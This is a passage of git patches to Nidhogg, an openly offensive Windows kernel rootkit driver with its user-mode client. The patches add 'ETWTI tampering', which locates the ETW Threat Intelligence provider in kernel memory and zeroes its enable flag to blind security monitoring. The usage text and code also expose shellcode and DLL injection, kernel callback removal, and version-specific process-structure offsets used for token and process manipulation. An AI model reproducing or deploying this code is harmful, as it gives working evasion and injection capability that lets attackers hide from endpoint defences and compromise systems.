(!searchedRoutineOffset) { + RtlCopyMemory(etwThreatIntProvRegHandleSig, EtwThreatIntProvRegHandleSignature2, etwThreatIntProvRegHandleSigLen); + searchedRoutineOffset = (PLONG)FindPattern((PCUCHAR)etwThreatIntProvRegHandleSig, 0xCC, etwThreatIntProvRegHandleSigLen - 1, searchedRoutineAddress, targetFunctionDistance, &foundIndex, etwThreatIntProvRegHandleSigLen); + + if (!searchedRoutineOffset) { + status = STATUS_NOT_FOUND; + goto Cleanup; + } + } + PUCHAR etwThreatIntProvRegHandle = (PUCHAR)searchedRoutineAddress + (*searchedRoutineOffset) + foundIndex + EtwThreatIntProvRegHandleOffset; + ULONG enableProviderInfoOffset = GetEtwProviderEnableInfoOffset(); + + if (enableProviderInfoOffset == (ULONG)STATUS_UNSUCCESSFUL) { + status = STATUS_UNSUCCESSFUL; + goto Cleanup; + } + PTRACE_ENABLE_INFO enableProviderInfo = (PTRACE_ENABLE_INFO)(etwThreatIntProvRegHandle + EtwGuidEntryOffset + enableProviderInfoOffset); + ULONG lockOffset = GetEtwGuidLockOffset(); + + if (lockOffset != (ULONG)STATUS_UNSUCCESSFUL) { + etwThreatIntLock = (EX_PUSH_LOCK)(etwThreatIntProvRegHandle + EtwGuidEntryOffset + lockOffset); + ExAcquirePushLockExclusiveEx(&etwThreatIntLock, 0); + } + + if (enable) { + status = KeWriteProcessMemory(&aaGlobals.PrevEtwTiValue, PsGetCurrentProcess(), &enableProviderInfo->IsEnabled, sizeof(ULONG), KernelMode); + aaGlobals.PrevEtwTiValue = 0; + } + else { + ULONG disableEtw = 0; + status = KeReadProcessMemory(PsGetCurrentProcess(), &enableProviderInfo->IsEnabled, &aaGlobals.PrevEtwTiValue, sizeof(ULONG), KernelMode); + + if (NT_SUCCESS(status)) + status = MmCopyVirtualMemory(PsGetCurrentProcess(), &disableEtw, PsGetCurrentProcess(), &enableProviderInfo->IsEnabled, sizeof(ULONG), KernelMode, &bytesWritten); + } + + if (etwThreatIntLock) + ExReleasePushLockExclusiveEx(&etwThreatIntLock, 0); + +Cleanup: + if (etwThreatIntProvRegHandleSig) + ExFreePoolWithTag(etwThreatIntProvRegHandleSig, DRIVER_TAG); + return status; +} + /* * Description: * RestoreObCallback is responsible to restoring a certain callback from the callback list. @@ -50,7 +128,7 @@ NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback * @Callback [KernelCallback*] -- Callback to remove. * * Returns: -* @status [NTSTATUS] -- Whether successfuly removed or not. +* @status [NTSTATUS] -- Whether successfuly restored or not. */ NTSTATUS RestoreCallback(KernelCallback* Callback) { DisabledKernelCallback callback{}; diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp index a62d588..c27c5cd 100644 --- a/Nidhogg/Nidhogg.cpp +++ b/Nidhogg/Nidhogg.cpp @@ -45,6 +45,9 @@ NTSTATUS NidhoggEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) NTSTATUS status = STATUS_SUCCESS; InitializeFeatures(); + if (WindowsBuildNumber < WIN_1507) + return STATUS_INCOMPATIBLE_DRIVER_BLOCKED; + // Setting up the device object. UNICODE_STRING deviceName = RTL_CONSTANT_STRING(DRIVER_DEVICE_NAME); UNICODE_STRING symbolicLink = RTL_CONSTANT_STRING(DRIVER_SYMBOLIC_LINK); @@ -258,6 +261,16 @@ void InitializeFeatures() { rGlobals.Init(); aaGlobals.Init(); + // Get windows version. + RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; + NTSTATUS result = RtlGetVersion(&osVersion); + + if (NT_SUCCESS(result)) + WindowsBuildNumber = osVersion.dwBuildNumber; + + if (WindowsBuildNumber < WIN_1507) + return; + // Initialize functions. RtlInitUnicodeString(&routineName, L"MmCopyVirtualMemory"); MmCopyVirtualMemory = (tMmCopyVirtualMemory)MmGetSystemRoutineAddress(&routineName); @@ -292,6 +305,9 @@ void InitializeFeatures() { RtlInitUnicodeString(&routineName, L"ZwQuerySystemInformation"); ZwQuerySystemInformation = (tZwQuerySystemInformation)MmGetSystemRoutineAddress(&routineName); + if (!KeInsertQueueApc) + Features.EtwTiTamper = false; + if (!KeInitializeApc || !KeInsertQueueApc || !KeTestAlertThread || !ZwQuerySystemInformation) Features.ApcInjection = false; diff --git a/Nidhogg/NidhoggDeviceControl.hpp b/Nidhogg/NidhoggDeviceControl.hpp index 7accbb3..300753d 100644 --- a/Nidhogg/NidhoggDeviceControl.hpp +++ b/Nidhogg/NidhoggDeviceControl.hpp @@ -37,6 +37,7 @@ #define IOCTL_NIDHOGG_LIST_REGCALLBACKS CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_REMOVE_CALLBACK CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81E, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_ENABLE_DISABLE_ETWTI CTL_CODE(0x8000, 0x81F, METHOD_BUFFERED, FILE_ANY_ACCESS) // ******************************************************************************************************* /* @@ -1273,6 +1274,37 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { break; } + case IOCTL_NIDHOGG_ENABLE_DISABLE_ETWTI: + { + if (!Features.EtwTiTamper) { + KdPrint((DRIVER_PREFIX "Due to previous error, etwti tampering is unavaliable.\n")); + status = STATUS_UNSUCCESSFUL; + break; + } + + auto size = stack->Parameters.DeviceIoControl.InputBufferLength; + + if (size % sizeof(ULONG) != 0) { + status = STATUS_INVALID_BUFFER_SIZE; + break; + } + + auto data = (ULONG*)Irp->AssociatedIrp.SystemBuffer; + + if (*data != true && *data != false) { + status = STATUS_INVALID_PARAMETER; + break; + } + + status = EnableDisableEtwTI(*data); + + if (!NT_SUCCESS(status)) + KdPrint((DRIVER_PREFIX "Failed to tamper ETWTI (0x%08X)\n", status)); + + len += sizeof(ULONG); + break; + } + default: status = STATUS_INVALID_DEVICE_REQUEST; break; diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h index ed4474e..bf01316 100644 --- a/Nidhogg/NidhoggUtils.h +++ b/Nidhogg/NidhoggUtils.h @@ -29,6 +29,7 @@ struct EnabledFeatures { bool ProcessProtection = true; bool ThreadProtection = true; bool FileProtection = true; + bool EtwTiTamper = true; bool ApcInjection = true; bool CreateThreadInjection = false; }; @@ -94,9 +95,11 @@ struct CmCallbacksList { struct AntiAnalysisGlobals { DisabledKernelCallback DisabledCallbacks[MAX_KERNEL_CALLBACKS]; ULONG DisabledCallbacksCount; + ULONG PrevEtwTiValue; FastMutex Lock; void Init() { + PrevEtwTiValue = 0; DisabledCallbacksCount = 0; Lock.Init(); } diff --git a/Nidhogg/WindowsTypes.hpp b/Nidhogg/WindowsTypes.hpp index efc7d6e..1cdf648 100644 --- a/Nidhogg/WindowsTypes.hpp +++ b/Nidhogg/WindowsTypes.hpp @@ -1,5 +1,8 @@ #pragma once +// Globals +ULONG WindowsBuildNumber = 0; + // Documented. #define WIN_1507 10240 #define WIN_1511 10586 @@ -196,7 +199,7 @@ typedef struct _IMAGE_SECTION_HEADER typedef struct _PEB_LDR_DATA { - ULONG Length; + ULONG Length; UCHAR Initialized; //0x4 PVOID SsHandle; //0x8 LIST_ENTRY InLoadOrderModuleList; //0x10 @@ -244,7 +247,19 @@ typedef struct _REAL_PEB { } REALPEB, * PREALPEB; // Undocumented. -extern "C" POBJECT_TYPE* IoDriverObjectType; +extern "C" POBJECT_TYPE * IoDriverObjectType; + +typedef struct _TRACE_ENABLE_INFO +{ + ULONG IsEnabled; //0x0 + UCHAR Level; //0x4 + UCHAR Reserved1; //0x5 + USHORT LoggerId; //0x6 + ULONG EnableProperty; //0x8 + ULONG Reserved2; //0xc + ULONGLONG MatchAnyKeyword; //0x10 + ULONGLONG MatchAllKeyword; //0x18 +} TRACE_ENABLE_INFO, * PTRACE_ENABLE_INFO; typedef struct _CM_CALLBACK { LIST_ENTRY List; @@ -267,8 +282,8 @@ typedef VOID(*PKKERNEL_ROUTINE) ( PVOID* SystemArgument1, PVOID* SystemArgument2); -typedef VOID (*PKRUNDOWN_ROUTINE) ( - PKAPC Apc); +typedef VOID(*PKRUNDOWN_ROUTINE) ( + PKAPC Apc); typedef struct _PS_PROTECTION { @@ -277,7 +292,7 @@ typedef struct _PS_PROTECTION UCHAR Signer : 4; } PS_PROTECTION, * PPS_PROTECTION; -typedef struct _PROCESS_SIGNATURE +typedef struct _PROCESS_SIGNATURE { UCHAR SignatureLevel; UCHAR SectionSignatureLevel; @@ -616,14 +631,14 @@ struct _EX_PUSH_LOCK { struct { - ULONGLONG Locked : 1; + ULONGLONG Locked : 1; ULONGLONG Waiting : 1; - ULONGLONG Waking : 1; + ULONGLONG Waking : 1; ULONGLONG MultipleShared : 1; ULONGLONG Shared : 60; }; ULONGLONG Value; - VOID* Ptr; + VOID* Ptr; }; }; @@ -648,8 +663,8 @@ typedef struct _OB_CALLBACK OB_CALLBACK; typedef struct _OB_CALLBACK_ENTRY { LIST_ENTRY CallbackList; OB_OPERATION Operations; - BOOLEAN Enabled; - OB_CALLBACK* Entry; + BOOLEAN Enabled; + OB_CALLBACK* Entry; POBJECT_TYPE ObjectType; POB_PRE_OPERATION_CALLBACK PreOperation; POB_POST_OPERATION_CALLBACK PostOperation; @@ -786,28 +801,24 @@ typedef NTSTATUS(NTAPI* tNtCreateThreadEx)( */ ULONG GetTokenOffset() { ULONG tokenOffset = (ULONG)STATUS_UNSUCCESSFUL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1903: - case WIN_1909: - tokenOffset = 0x360; - break; - case WIN_1507: - case WIN_1511: - case WIN_1607: - case WIN_1703: - case WIN_1709: - case WIN_1803: - case WIN_1809: - tokenOffset = 0x358; - break; - default: - tokenOffset = 0x4b8; - break; - } + + switch (WindowsBuildNumber) { + case WIN_1903: + case WIN_1909: + tokenOffset = 0x360; + break; + case WIN_1507: + case WIN_1511: + case WIN_1607: + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: + tokenOffset = 0x358; + break; + default: + tokenOffset = 0x4b8; + break; } return tokenOffset; @@ -825,34 +836,30 @@ ULONG GetTokenOffset() { */ ULONG GetSignatureLevelOffset() { ULONG signatureLevelOffset = (ULONG)STATUS_UNSUCCESSFUL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1903: - case WIN_1909: - signatureLevelOffset = 0x6f8; - break; - case WIN_1703: - case WIN_1709: - case WIN_1803: - case WIN_1809: - signatureLevelOffset = 0x6c8; - break; - case WIN_1607: - signatureLevelOffset = 0x6c0; - break; - case WIN_1511: - signatureLevelOffset = 0x6b0; - break; - case WIN_1507: - signatureLevelOffset = 0x6a8; - break; - default: - signatureLevelOffset = 0x878; - break; - } + + switch (WindowsBuildNumber) { + case WIN_1903: + case WIN_1909: + signatureLevelOffset = 0x6f8; + break; + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: + signatureLevelOffset = 0x6c8; + break; + case WIN_1607: + signatureLevelOffset = 0x6c0; + break; + case WIN_1511: + signatureLevelOffset = 0x6b0; + break; + case WIN_1507: + signatureLevelOffset = 0x6a8; + break; + default: + signatureLevelOffset = 0x878; + break; } return signatureLevelOffset; @@ -869,28 +876,24 @@ ULONG GetSignatureLevelOffset() { */ ULONG GetActiveProcessLinksOffset() { ULONG activeProcessLinks = (ULONG)STATUS_UNSUCCESSFUL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1507: - case WIN_1511: - case WIN_1607: - case WIN_1903: - case WIN_1909: - activeProcessLinks = 0x2f0; - break; - case WIN_1703: - case WIN_1709: - case WIN_1803: - case WIN_1809: - activeProcessLinks = 0x2e8; - break; - default: - activeProcessLinks = 0x448; - break; - } + + switch (WindowsBuildNumber) { + case WIN_1507: + case WIN_1511: + case WIN_1607: + case WIN_1903: + case WIN_1909: + activeProcessLinks = 0x2f0; + break; + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: + activeProcessLinks = 0x2e8; + break; + default: + activeProcessLinks = 0x448; + break; } return activeProcessLinks; @@ -909,28 +912,24 @@ ULONG GetActiveProcessLinksOffset() { */ ULONG GetProcessLockOffset() { ULONG processLockOffset = (ULONG)STATUS_UNSUCCESSFUL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1507: - case WIN_1511: - case WIN_1607: - case WIN_1703: - case WIN_1709: - case WIN_1803: - case WIN_1809: - processLockOffset = 0x2d8; - break; - case WIN_1903: - case WIN_1909: - processLockOffset = 0x2e0; - break; - default: - processLockOffset = 0x438; - break; - } + + switch (WindowsBuildNumber) { + case WIN_1507: + case WIN_1511: + case WIN_1607: + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: + processLockOffset = 0x2d8; + break; + case WIN_1903: + case WIN_1909: + processLockOffset = 0x2e0; + break; + default: + processLockOffset = 0x438; + break; } return processLockOffset; @@ -948,40 +947,36 @@ ULONG GetProcessLockOffset() { */ ULONG GetThreadListEntryOffset() { ULONG threadListEntry = (ULONG)STATUS_UNSUCCESSFUL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1507: - case WIN_1511: - threadListEntry = 0x690; - break; - case WIN_1607: - threadListEntry = 0x698; - break; - case WIN_1703: - threadListEntry = 0x6a0; - break; - case WIN_1709: - case WIN_1803: - case WIN_1809: - threadListEntry = 0x6a8; - break; - case WIN_1903: - case WIN_1909: - threadListEntry = 0x6b8; - break; - case WIN_2004: - case WIN_20H2: - case WIN_21H1: - case WIN_21H2: - threadListEntry = 0x4e8; - break; - default: - threadListEntry = 0x538; - break; - } + + switch (WindowsBuildNumber) { + case WIN_1507: + case WIN_1511: + threadListEntry = 0x690; + break; + case WIN_1607: + threadListEntry = 0x698; + break; + case WIN_1703: + threadListEntry = 0x6a0; + break; + case WIN_1709: + case WIN_1803: + case WIN_1809: + threadListEntry = 0x6a8; + break; + case WIN_1903: + case WIN_1909: + threadListEntry = 0x6b8; + break; + case WIN_2004: + case WIN_20H2: + case WIN_21H1: + case WIN_21H2: + threadListEntry = 0x4e8; + break; + default: + threadListEntry = 0x538; + break; } return threadListEntry; @@ -999,41 +994,102 @@ ULONG GetThreadListEntryOffset() { */ ULONG GetThreadLockOffset() { ULONG threadLockOffset = (ULONG)STATUS_UNSUCCESSFUL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1507: - case WIN_1511: - threadLockOffset = 0x6a8; - break; - case WIN_1607: - threadLockOffset = 0x6b0; - break; - case WIN_1703: - threadLockOffset = 0x6b8; - break; - case WIN_1709: - case WIN_1803: - case WIN_1809: - threadLockOffset = 0x6c0; - break; - case WIN_1903: - case WIN_1909: - threadLockOffset = 0x6d0; - break; - case WIN_2004: - case WIN_20H2: - case WIN_21H1: - case WIN_21H2: - threadLockOffset = 0x500; - break; - default: - threadLockOffset = 0x550; - break; - } + + switch (WindowsBuildNumber) { + case WIN_1507: + case WIN_1511: + threadLockOffset = 0x6a8; + break; + case WIN_1607: + threadLockOffset = 0x6b0; + break; + case WIN_1703: + threadLockOffset = 0x6b8; + break; + case WIN_1709: + case WIN_1803: + case WIN_1809: + threadLockOffset = 0x6c0; + break; + case WIN_1903: + case WIN_1909: + threadLockOffset = 0x6d0; + break; + case WIN_2004: + case WIN_20H2: + case WIN_21H1: + case WIN_21H2: + threadLockOffset = 0x500; + break; + default: + threadLockOffset = 0x550; + break; } return threadLockOffset; } + +/* +* Description: +* GetEtwProviderEnableInfoOffset is responsible for getting the ProviderEnableInfo offset depends on the windows version. +* +* Parameters: +* There are no parameters. +* +* Returns: +* @providerEnableInfo [ULONG] -- Offset of ProviderEnableInfo. +*/ +ULONG GetEtwProviderEnableInfoOffset() { + ULONG providerEnableInfo = (ULONG)STATUS_UNSUCCESSFUL; + + switch (WindowsBuildNumber) { + case WIN_1507: + case WIN_1511: + case WIN_1607: + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: + case WIN_1903: + case WIN_1909: + providerEnableInfo = 0x50; + break; + default: + providerEnableInfo = 0x60; + break; + } + + return providerEnableInfo; +} + +/* +* Description: +* GetEtwGuidLockOffset is responsible for getting the GuidLock offset depends on the windows version. +* +* Parameters: +* There are no parameters. +* +* Returns: +* @etwGuidLockOffset [ULONG] -- Offset of guid lock. +*/ +ULONG GetEtwGuidLockOffset() { + ULONG etwGuidLockOffset = (ULONG)STATUS_UNSUCCESSFUL; + + switch (WindowsBuildNumber) { + case WIN_1511: + case WIN_1607: + case WIN_1703: + case WIN_1709: + case WIN_1803: + case WIN_1809: + case WIN_1903: + case WIN_1909: + etwGuidLockOffset = 0x180; + break; + default: + etwGuidLockOffset = 0x198; + break; + } + + return etwGuidLockOffset; +} \ No newline at end of file From 618f2967f9bcc84e91013ff8686d5d83deeb06e0 Mon Sep 17 00:00:00 2001 From: idov31 <62358580+Idov31@users.noreply.github.com> Date: Sun, 7 May 2023 11:03:37 +0300 Subject: [PATCH 9/9] Added etwti disable --- Example/NidhoggExample.cpp | 9 +++++++-- NidhoggClient/Nidhogg.hpp | 14 +++++++++++++- README.md | 1 + 3 files changed, 21 insertions(+), 3 deletions(-) diff --git a/Example/NidhoggExample.cpp b/Example/NidhoggExample.cpp index b6d5121..215931e 100644 --- a/Example/NidhoggExample.cpp +++ b/Example/NidhoggExample.cpp @@ -21,6 +21,7 @@ void PrintUsage() { std::cout << "\tNidhoggClient.exe shinject [apc | thread] [pid] [shellcode file] [parameter 1] [parameter 2] [parameter 3]" << std::endl; std::cout << "\tNidhoggClient.exe dllinject [apc | thread] [pid] [dll path]" << std::endl; std::cout << "\tNidhoggClient.exe callbacks [query | remove | restore] [callback type] [callback address]" << std::endl; + std::cout << "\tNidhoggClient.exe etwti [enable | disable]" << std::endl; } int Error(int errorCode) { @@ -92,9 +93,9 @@ int wmain(int argc, const wchar_t* argv[]) { if (argc < 3) return Error(NIDHOGG_INVALID_COMMAND); - if (_wcsicmp(argv[2], L"add") == 0) + if (_wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"restore") == 0 || _wcsicmp(argv[2], L"enable") == 0) option = Options::Add; - else if (_wcsicmp(argv[2], L"remove") == 0) + else if (_wcsicmp(argv[2], L"remove") == 0 || _wcsicmp(argv[2], L"disable") == 0) option = Options::Remove; else if (_wcsicmp(argv[2], L"clear") == 0) option = Options::Clear; @@ -148,6 +149,8 @@ int wmain(int argc, const wchar_t* argv[]) { success = Nidhogg::RegistryUtils::NidhoggRegistryProtectKey(hNidhogg, _wcsdup(argv[3])); } } + else if (_wcsicmp(argv[1], L"etwti") == 0) + success = Nidhogg::AntiAnalysis::NidhoggEnableDisableEtwTi(hNidhogg, true); else if (_wcsicmp(argv[1], L"callbacks") == 0) { CallbackType callbackType; ULONG64 address = 0; @@ -199,6 +202,8 @@ int wmain(int argc, const wchar_t* argv[]) { success = Nidhogg::RegistryUtils::NidhoggRegistryUnprotectKey(hNidhogg, _wcsdup(argv[3])); } } + else if (_wcsicmp(argv[1], L"etwti") == 0) + success = Nidhogg::AntiAnalysis::NidhoggEnableDisableEtwTi(hNidhogg, false); else if (_wcsicmp(argv[1], L"callbacks") == 0) { CallbackType callbackType; ULONG64 address = 0; diff --git a/NidhoggClient/Nidhogg.hpp b/NidhoggClient/Nidhogg.hpp index bdbae71..c184a1d 100644 --- a/NidhoggClient/Nidhogg.hpp +++ b/NidhoggClient/Nidhogg.hpp @@ -42,10 +42,10 @@ #define IOCTL_NIDHOGG_LIST_REGCALLBACKS CTL_CODE(0x8000, 0x81C, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_REMOVE_CALLBACK CTL_CODE(0x8000, 0x81D, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NIDHOGG_RESTORE_CALLBACK CTL_CODE(0x8000, 0x81E, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_NIDHOGG_ENABLE_DISABLE_ETWTI CTL_CODE(0x8000, 0x81F, METHOD_BUFFERED, FILE_ANY_ACCESS) // ******************************************************************************************************* // ** General Definitions *************************************************************************************** -// ADD THESE DEFINITIONS FOR HKLM, HKU & HKCU: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/registry-key-object-routines #define DRIVER_NAME LR"(\\.\Nidhogg)" #define NIDHOGG_SUCCESS 0 #define NIDHOGG_GENERAL_ERROR 1 @@ -1058,6 +1058,18 @@ namespace Nidhogg { } namespace AntiAnalysis { + int NidhoggEnableDisableEtwTi(HANDLE hNidhogg, bool enable) { + DWORD returned; + ULONG enableDisable = enable; + + if (!DeviceIoControl(hNidhogg, IOCTL_NIDHOGG_ENABLE_DISABLE_ETWTI, + &enableDisable, sizeof(enableDisable), + nullptr, 0, &returned, nullptr)) + return NIDHOGG_ERROR_DEVICECONTROL_DRIVER; + + return NIDHOGG_SUCCESS; + } + int NidhoggDisableCallback(HANDLE hNidhogg, ULONG64 callbackAddress, CallbackType callbackType) { KernelCallback callback{}; DWORD returned; diff --git a/README.md b/README.md index db93715..50c0cfa 100644 --- a/README.md +++ b/README.md @@ -39,6 +39,7 @@ This repository contains a kernel driver with a C++ header to communicate with i - Image loading routines - Registry callbacks - Removing and restoring kernel callbacks +- ETWTI tampering ## Reflective loading